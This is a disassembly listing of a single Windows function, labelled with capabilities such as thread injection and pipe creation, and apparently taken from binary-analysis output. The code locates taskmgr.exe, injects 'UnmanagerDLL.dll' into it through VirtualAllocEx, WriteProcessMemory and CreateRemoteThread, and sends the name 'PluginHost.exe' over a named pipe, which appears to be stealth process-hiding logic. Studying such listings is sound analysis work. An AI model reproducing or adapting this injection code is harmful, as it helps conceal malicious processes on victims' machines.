Function at 0x140005c40
Capabilities:
Create pipe
Create thread
Get common file path
Inject thread
Write file on windows
Write pipe

Disassembly:
push rbx
push rsi
push rdi
push r12
push r13
sub rsp, 0x380
mov rax, qword [0x140025040]
xor rax, rsp
mov qword [rsp + 0x370], rax
mov eax, dword [0x14001b070]
lea rcx, [rsp + 0x15f]
movsd xmm0, qword [str.PluginHost.exe]
xor edx, edx
mov dword [rsp + 0x158], eax
mov r8d, 0xf5
movzx eax, word [0x14001b074]
mov word [rsp + 0x15c], ax
movzx eax, byte [0x14001b076]
mov byte [rsp + 0x15e], al
movsd qword [rsp + 0x150], xmm0
call sub.VCRUNTIME140.dll_memset
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetCurrentDirectoryA]
lea rcx, str.UnmanagerDLL.dll
movsxd rdi, eax
call qword [sym.imp.KERNEL32.dll_lstrlenA]
add eax, edi
movsxd rbx, eax
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov r8, rbx
mov edx, 8
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_HeapAlloc]
mov rdx, rax
mov ecx, edi
mov r12, rax
call qword [sym.imp.KERNEL32.dll_GetCurrentDirectoryA]
lea rcx, str.UnmanagerDLL.dll
mov esi, eax
call qword [sym.imp.KERNEL32.dll_lstrlenA]
movsxd rbx, eax
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
lea rdx, [rdi - 1]
xor r13d, r13d
add rdx, r12
mov qword [rsp + 0x20], r13
mov r9, rbx
lea r8, str.UnmanagerDLL.dll
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
mov qword [rsp + 0x30], r13
xor r9d, r9d
mov dword [rsp + 0x28], 0x80
xor r8d, r8d
mov edx, 0x80000000
mov dword [rsp + 0x20], 3
mov rcx, r12
mov ebx, eax
call qword [sym.imp.KERNEL32.dll_CreateFileA]
test esi, esi
mov ecx, r13d
mov edx, r13d
setne cl
test ebx, ebx
cmovne edx, ecx
cmp rax, 0xffffffffffffffff
mov ecx, r13d
cmovne ecx, edx
test ecx, ecx
je 0x140006188
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_CloseHandle]
lea rcx, [rsp + 0x150]
call qword [sym.imp.KERNEL32.dll_lstrlenA]
movsxd rbx, eax
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov r9, rbx
mov qword [rsp + 0x20], r13
mov rcx, rax
lea r8, [rsp + 0x150]
lea rdx, [rsp + 0x260]
call qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
test eax, eax
je 0x140006188
lea ecx, [r13 + 0xa]
call qword [sym.imp.KERNEL32.dll_Sleep]
lea rcx, str.ntdll.dll
call qword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov rcx, rax
lea rdx, str.NtQuerySystemInformation
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
xor edx, edx
lea r9, [rsp + 0x140]
mov rsi, rax
xor r8d, r8d
lea ecx, [rdx + 5]
call rsi
and eax, 0xc0000000
cmp eax, 0xc0000000
jne 0x140006188
mov ebx, dword [rsp + 0x140]
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov r8d, ebx
lea edx, [r13 + 8]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_HeapAlloc]
mov r8d, dword [rsp + 0x140]
lea r9, [rsp + 0x140]
mov rdx, rax
lea ecx, [r13 + 5]
mov rdi, rax
call rsi
test eax, eax
js 0x1400061a7
mov ebx, r13d
lea rcx, [rsp + 0x40]
mov rax, rdi
lea edx, [r13 + 2]
lea rcx, [rcx + 0x80]
movups xmm0, xmmword [rax]
movups xmm1, xmmword [rax + 0x10]
lea rax, [rax + 0x80]
movups xmmword [rcx - 0x80], xmm0
movups xmm0, xmmword [rax - 0x60]
movups xmmword [rcx - 0x70], xmm1
movups xmm1, xmmword [rax - 0x50]
movups xmmword [rcx - 0x60], xmm0
movups xmm0, xmmword [rax - 0x40]
movups xmmword [rcx - 0x50], xmm1
movups xmm1, xmmword [rax - 0x30]
movups xmmword [rcx - 0x40], xmm0
movups xmm0, xmmword [rax - 0x20]
movups xmmword [rcx - 0x30], xmm1
movups xmm1, xmmword [rax - 0x10]
movups xmmword [rcx - 0x20], xmm0
movups xmmword [rcx - 0x10], xmm1
sub rdx, 1
jne 0x140005e61
mov rcx, qword [rsp + 0x80]
lea rdx, str.taskmgr.exe
call qword [sym.imp.KERNEL32.dll_lstrcmpiW]
test eax, eax
je 0x140005f60
mov eax, dword [rsp + 0x40]
test eax, eax
je 0x1400061a7
add ebx, eax
mov edx, 2
movsxd rcx, ebx
lea rax, [rsp + 0x40]
add rcx, rdi
nop
lea rax, [rax + 0x80]
movups xmm0, xmmword [rcx]
movups xmm1, xmmword [rcx + 0x10]
lea rcx, [rcx + 0x80]
movups xmmword [rax - 0x80], xmm0
movups xmm0, xmmword [rcx - 0x60]
movups xmmword [rax - 0x70], xmm1
movups xmm1, xmmword [rcx - 0x50]
movups xmmword [rax - 0x60], xmm0
movups xmm0, xmmword [rcx - 0x40]
movups xmmword [rax - 0x50], xmm1
movups xmm1, xmmword [rcx - 0x30]
movups xmmword [rax - 0x40], xmm0
movups xmm0, xmmword [rcx - 0x20]
movups xmmword [rax - 0x30], xmm1
movups xmm1, xmmword [rcx - 0x10]
movups xmmword [rax - 0x20], xmm0
movups xmmword [rax - 0x10], xmm1
sub rdx, 1
jne 0x140005ef0
mov rcx, qword [rsp + 0x80]
lea rdx, str.taskmgr.exe
call qword [sym.imp.KERNEL32.dll_lstrcmpiW]
test eax, eax
jne 0x140005ed1
mov rdi, qword [rsp + 0x90]
cmp edi, 0xffffffff
je 0x140006188
mov r8d, edi
mov qword [rsp + 0x3b8], r14
xor edx, edx
mov ecx, 0x100400
call qword [sym.imp.KERNEL32.dll_OpenProcess]
mov r14, rax
test rax, rax
je 0x140006177
mov qword [rsp + 0x38], r13
lea rcx, str..pipeUnmanagerPipe
xor r8d, r8d
mov dword [rsp + 0x30], r13d
mov dword [rsp + 0x28], 0x104
mov r9d, 0xff
mov dword [rsp + 0x20], 0x104
lea edx, [r8 + 2]
call qword [sym.imp.KERNEL32.dll_CreateNamedPipeW]
mov rbx, rax
cmp rax, 0xffffffffffffffff
je 0x140006180
mov qword [rsp + 0x3c0], r15
mov r8d, edi
xor edx, edx
mov ecx, 0x1fffff
mov r15, r13
mov esi, r13d
call qword [sym.imp.KERNEL32.dll_OpenProcess]
mov rdi, rax
test rax, rax
je 0x1400060de
mov rcx, r12
mov qword [rsp + 0x3b0], rbp
call qword [sym.imp.KERNEL32.dll_lstrlenA]
xor edx, edx
mov dword [rsp + 0x20], 4
movsxd r8, eax
mov r9d, 0x3000
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov rbp, rax
test rax, rax
je 0x1400060d6
mov rcx, r12
call qword [sym.imp.KERNEL32.dll_lstrlenA]
mov r8, r12
mov qword [rsp + 0x20], r13
movsxd r9, eax
mov rdx, rbp
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
test eax, eax
je 0x1400060b2
lea rcx, str.kernel32.dll
call qword [sym.imp.KERNEL32.dll_LoadLibraryA]
test rax, rax
je 0x1400060b2
lea rdx, [0x14001bf10]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
test rax, rax
je 0x1400060b2
mov qword [rsp + 0x30], r13
mov r9, rax
mov dword [rsp + 0x28], r13d
xor r8d, r8d
xor edx, edx
mov qword [rsp + 0x20], rbp
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_CreateRemoteThread]
mov r15, rax
mov eax, 1
test r15, r15
cmovne esi, eax
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov rcx, r12
call qword [sym.imp.KERNEL32.dll_lstrlenA]
movsxd r8, eax
mov r9d, 0x8000
mov rdx, rbp
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_VirtualFreeEx]
mov rbp, qword [rsp + 0x3b0]
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, r15
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov r15, qword [rsp + 0x3c0]
test esi, esi
je 0x140006177
lea r9, [rsp + 0x140]
mov qword [rsp + 0x20], r13
mov r8d, 0x104
lea rdx, [rsp + 0x260]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_WriteFile]
test eax, eax
jne 0x140006157
mov ecx, 0xa
call qword [sym.imp.KERNEL32.dll_Sleep]
lea r9, [rsp + 0x140]
mov qword [rsp + 0x20], r13
mov r8d, 0x104
lea rdx, [rsp + 0x260]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_WriteFile]
test eax, eax
je 0x140006124
mov edx, 0xffffffff
mov rcx, r14
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_DisconnectNamedPipe]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, r14
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov r14, qword [rsp + 0x3b8]
mov rcx, qword [rsp + 0x370]
xor rcx, rsp
call fcn.140017a00
add rsp, 0x380
pop r13
pop r12
pop rdi
pop rsi
pop rbx
ret
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov r8, rdi
xor edx, edx
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_HeapFree]
call qword [sym.imp.KERNEL32.dll_GetLastError]
jmp 0x140006188